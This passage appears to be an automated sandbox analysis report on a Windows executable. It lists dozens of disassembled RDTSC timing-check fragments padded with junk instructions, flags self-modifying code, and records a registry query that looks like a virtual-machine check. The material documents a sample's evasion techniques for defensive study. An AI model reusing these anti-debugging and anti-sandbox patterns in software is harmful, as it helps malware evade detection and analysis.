Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E172 second address: 144E17A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E17A second address: 144E180 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145470D second address: 145471F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F9CF0B4E76Eh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145471F second address: 1454731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnp 00007F9CF0C7B7F6h 0x0000000c je 00007F9CF0C7B7F6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145A8A8 second address: 145A8C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9CF0B4E76Fh 0x0000000c je 00007F9CF0B4E766h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1460115 second address: 146011F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9CF0C7B7F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146011F second address: 1460123 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1460123 second address: 1460136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c pop ecx 0x0000000d pushad 0x0000000e push esi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1460136 second address: 146015B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jl 00007F9CF0B4E766h 0x0000000e jne 00007F9CF0B4E766h 0x00000014 jmp 00007F9CF0B4E76Ch 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1461FF8 second address: 1462007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 jc 00007F9CF0C7B7F6h 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1462007 second address: 146200D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139C912 second address: 139C93A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0C7B806h 0x00000007 push ecx 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 js 00007F9CF0C7B7F6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139C93A second address: 139C95A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9CF0B4E766h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007F9CF0B4E774h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139C95A second address: 139C962 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1461C9B second address: 1461CA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F9CF0B4E766h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1464A04 second address: 1464A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F9CF0C7B7F6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14643F5 second address: 1464426 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0B4E770h 0x00000007 jmp 00007F9CF0B4E777h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1464426 second address: 146442A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146442A second address: 1464439 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jno 00007F9CF0B4E766h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1464439 second address: 1464442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1464442 second address: 146445B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9CF0B4E772h 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146CC2F second address: 146CC33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146CC33 second address: 146CC37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1472902 second address: 1472907 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1472907 second address: 147290D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14760BA second address: 14760C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1475F16 second address: 1475F1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1475F1E second address: 1475F27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1475F27 second address: 1475F2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147E07C second address: 147E0A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0C7B7FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F9CF0C7B7F8h 0x0000000f pushad 0x00000010 popad 0x00000011 jl 00007F9CF0C7B7F8h 0x00000017 push esi 0x00000018 pop esi 0x00000019 popad 0x0000001a pushad 0x0000001b push edi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147E0A4 second address: 147E0AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147E0AF second address: 147E0B5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147D1A3 second address: 147D1CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007F9CF0B4E766h 0x0000000c jng 00007F9CF0B4E766h 0x00000012 popad 0x00000013 jmp 00007F9CF0B4E779h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147DD9C second address: 147DDA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1481427 second address: 1481431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9CF0B4E766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1481431 second address: 148144E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0C7B809h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148144E second address: 1481463 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0B4E76Bh 0x00000007 jo 00007F9CF0B4E76Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14834EB second address: 14834F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14834F9 second address: 14834FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14834FD second address: 1483507 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9CF0C7B7F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1483507 second address: 1483519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F9CF0B4E76Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14830D3 second address: 14830DD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9CF0C7B811h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14830DD second address: 1483102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CF0B4E775h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e jnp 00007F9CF0B4E766h 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1483102 second address: 148310A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148310A second address: 1483128 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0B4E770h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d js 00007F9CF0B4E766h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1493046 second address: 1493055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jnp 00007F9CF0C7B7F8h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1493055 second address: 149306D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F9CF0B4E771h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A0731 second address: 14A073B instructions: 0x00000000 rdtsc 0x00000002 je 00007F9CF0C7B7F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A0366 second address: 14A0376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F9CF0B4E766h 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A0376 second address: 14A0385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 jl 00007F9CF0C7B80Ch 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A1DF9 second address: 14A1E26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0B4E76Ch 0x00000007 push eax 0x00000008 js 00007F9CF0B4E766h 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F9CF0B4E771h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A1E26 second address: 14A1E32 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jp 00007F9CF0C7B7F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A1E32 second address: 14A1E3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F9CF0B4E766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A1E3C second address: 14A1E49 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9CF0C7B7F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B0529 second address: 14B052D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B052D second address: 14B054A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9CF0C7B807h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B054A second address: 14B057B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F9CF0B4E766h 0x00000009 jmp 00007F9CF0B4E76Bh 0x0000000e push edx 0x0000000f pop edx 0x00000010 jmp 00007F9CF0B4E76Fh 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 jc 00007F9CF0B4E77Dh 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B0696 second address: 14B069B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B069B second address: 14B06A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B06A1 second address: 14B06A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B06A5 second address: 14B06A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B06A9 second address: 14B06B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B0946 second address: 14B094C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B094C second address: 14B099F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F9CF0C7B800h 0x0000000a jno 00007F9CF0C7B7F6h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jmp 00007F9CF0C7B805h 0x00000019 push eax 0x0000001a push edx 0x0000001b jnp 00007F9CF0C7B7F6h 0x00000021 jmp 00007F9CF0C7B807h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B11D0 second address: 14B11D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B11D4 second address: 14B11E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0C7B7FFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B11E7 second address: 14B11F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B5454 second address: 14B5458 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B55E7 second address: 14B55EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B562F second address: 14B5633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B5633 second address: 14B564F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0B4E770h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F9CF0B4E766h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B5958 second address: 14B59BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F9CF0C7B801h 0x0000000c nop 0x0000000d mov dx, bx 0x00000010 pushad 0x00000011 mov bh, dh 0x00000013 push eax 0x00000014 sub dword ptr [ebp+122D1A67h], edi 0x0000001a pop edi 0x0000001b popad 0x0000001c push dword ptr [ebp+122D2CB6h] 0x00000022 pushad 0x00000023 call 00007F9CF0C7B809h 0x00000028 jg 00007F9CF0C7B7F6h 0x0000002e pop eax 0x0000002f mov dword ptr [ebp+122D259Ah], eax 0x00000035 popad 0x00000036 call 00007F9CF0C7B7F9h 0x0000003b push eax 0x0000003c push edx 0x0000003d push edx 0x0000003e push edx 0x0000003f pop edx 0x00000040 pop edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B59BD second address: 14B59C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F9CF0B4E766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B59C7 second address: 14B59E5 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9CF0C7B7F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jp 00007F9CF0C7B7FCh 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B59E5 second address: 14B5A0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0B4E76Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e je 00007F9CF0B4E76Eh 0x00000014 push ebx 0x00000015 jbe 00007F9CF0B4E766h 0x0000001b pop ebx 0x0000001c mov eax, dword ptr [eax] 0x0000001e push edi 0x0000001f push eax 0x00000020 push edx 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B5A0E second address: 14B5A12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B5A12 second address: 14B5A26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c je 00007F9CF0B4E76Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B5A26 second address: 14B5A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B5A2E second address: 14B5A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B8AF9 second address: 14B8B0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0C7B7FFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F102C2 second address: 4F10314 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0B4E779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F9CF0B4E771h 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F9CF0B4E76Eh 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a call 00007F9CF0B4E76Dh 0x0000001f pop ecx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10314 second address: 4F1031A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1031A second address: 4F1031E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1031E second address: 4F1033A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0C7B7FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1033A second address: 4F1033E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1033E second address: 4F10359 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0C7B807h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D63DB second address: 13D63DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D65C9 second address: 13D65CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10B5B second address: 4F10B9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0B4E772h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov cx, FF4Dh 0x0000000f pushfd 0x00000010 jmp 00007F9CF0B4E76Ah 0x00000015 sbb eax, 04285E68h 0x0000001b jmp 00007F9CF0B4E76Bh 0x00000020 popfd 0x00000021 popad 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10B9C second address: 4F10BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10BA0 second address: 4F10BB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0B4E76Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10BB2 second address: 4F10BB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10BB8 second address: 4F10BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1221ADE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1455CE4 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
